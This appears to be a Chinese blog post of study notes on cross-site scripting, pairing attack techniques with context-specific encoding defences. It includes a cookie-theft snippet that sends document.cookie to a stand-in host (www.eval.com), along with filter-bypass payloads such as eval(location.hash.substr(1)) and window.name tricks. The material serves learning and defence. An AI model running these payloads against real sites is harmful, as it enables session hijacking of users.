再谈XSS
前言
最近在看白帽子讲Web安全,发现XSS还有很多有意思的地方
XSS攻击
劫持cookie
XSS可以利用src来加载远程脚本
恶意js代码
var img = document.createElement("img");
img.src = "http://www.eval.com/log?"+escape(document.cookie);
document.body.appendChild(img);
Cookie的Httponly可以防止Cookie劫持
构造GET和POST请求
构造GET请求
var img = document.createElement("img"); img.src = "xxx"; document.body.appendChild(img);
构造POST请求
一种是构造一个form表单然后手动submit
另一种是使用XMLHttpRequest发送一个POST请求
XSS钓鱼
用JS代码画一个登录框
识别用户浏览器
主要用于收集信息
方法有直接获取UserAgent,但不够准确
不同浏览器的不同版本之间可能有细微的差别,利用这些差别来判断浏览器版本更准确
识别用户安装的软件
XSS的payload可以扫描出浏览器的扩展和插件
FireFox中可以查询navigator.pluginss
chrome中可以用chrome://
来判断某个扩展图标在不在
CSS History Hack
通过判断链接的颜色来判断一个链接是否被访问过
获取用户的真实IP地址
通过调用Java Applet接口获取
XSS Worm
攻击平台
Attack API
BeEF
XSS-Proxy
XSS构造技巧
利用字符编码
对于GBK/GB2312编码的页面,%c1\
两个字符会组合形成Unicode字符,从而造成引号逃逸
绕过长度限制
利用事件
比如onclick
利用location.hash
onclick="eval(location.hash.substr(1))"
注释符
通过合并前后两个注释符来实现绕过
base标签
通过插入base标签来劫持当前页面中的所有使用"相对路径"的标签
window.name
window.name的数据可以实现跨域传递
<script>
window.name = "alert(document.cookie)";
location.href = "xxx";
</script>
打开xss站点后,只需执行一下代码即可
eval(name);
Apache Expect Header XSS
影响范围是Apache Httpd Server
版本1.3.34、2.0.57、2.2.1及以下
服务器在出错返回时,会把Expect头的内容未经任何处理便写入到页面中
使用Flash构造请求可以利用这个漏洞
Anehta回旋镖
跨域获取本地cookie
Flash XSS
Flash中可以嵌入ActionScript脚本
getURL("javascript:alert(document.cookie)")
因此网站应考虑适应将flash转码为flv
使用allowScriptAccess
参数限制Flash与HTML的通信以及allowNetworking
控制Flash与外部网络通信
XSS防御技巧
HttpOnly
禁止JS访问带有HttpOnly属性的cookie
但攻击者还是可以利用AJAX构造HTTP请求
输入检查
像XSS Filter这样的输入检查往往会有一些问题
输出检查
使用编码函数将字符转为HTMLEntities
在PHP中有htmlentities()
和htmlspecialchars()
可满足要求
还有各种JavascriptEncode(除了数字字母外的字符,都用十六进制表示),XMLEncode……
Java的StringEscapeUtils
包中还有很多escape函数
DJango1.0
和web2py
中,都默认HTMLEncode所有变量,但还是有漏洞
解决XSS要在正确的地方选择正确的编码方式
<body>
<a href=# onclick="alert('$var');">test</a>
</body>
我们令
$var = htmlencode("';alert('2");
对于浏览器而言,htmlparser会优先于JavaScript Parser执行,所以HTMLEncode字符会先解码,然后执行Javascript事件
正确防御XSS
本质:用户的数据被当成了HTML代码一部分来执行
在HTML标签中输出
对变量使用HTMLEncode
在HTML属性中输出
使用严格的HtmlEncode——除了字母、数字外,其他所有的特殊字符被编码成HTMLEntities
在
<script>
标签中输出首先确保输出的变量在引号中,攻击者必须要闭合引号,然后用JavascriptEncode
在事件中输出
与在
<script>
标签中输出类似在CSS中输出
应该不常见
在地址中输出
一种是
<a href="http://www.evil.com/?test=$var">test</a>
这里可以用URLEncode函数另一种是
<a href="$var">test</a>
攻击者可能会构造伪协议javascript:alert(1);
或者vbscript
或者dataURI
解决方法考虑添加http头再URLEncode处理富文本
考虑输入检查,在过滤时,“事件”和一些标签要被严格禁止
在标签的选择上尽量用白名单,还要过滤CSS
比较好的项目:
Anti-Samy
和HTMLPurify
防御DOM Based XSS
DOM型XSS是从JS输出数据到HTML里,而前面的方法是针对从服务器输出到HTML界面
<script> var x = "$var"; document.write("<a href='"+x+"'>test</a>"); </script>
如果只用一次JavascriptEncode,那么第一句话那里不会有问题,写入HTML后会产生XSS
如果只用一次HTMLEncode,那可能会出现“输出检查”中的问题
正确的方法是,先执行一次JavascriptEncode,如果输出到事件或脚本,则再进行一次javascriptEncode,如果输出到HTML内容或属性,则要做一次HTMLEncode
JS输出到HTML的函数 xxx.outerHTML= innerHTML.replace document.attachEvent() window.attachEvent() document.location.replace() document.location.assign() …… 一些DOMXSS潜在的输入点 inputs框 window.location(href,hash...) window.name document.referrer document.cookie localstage XMLHttpRequest返回的数据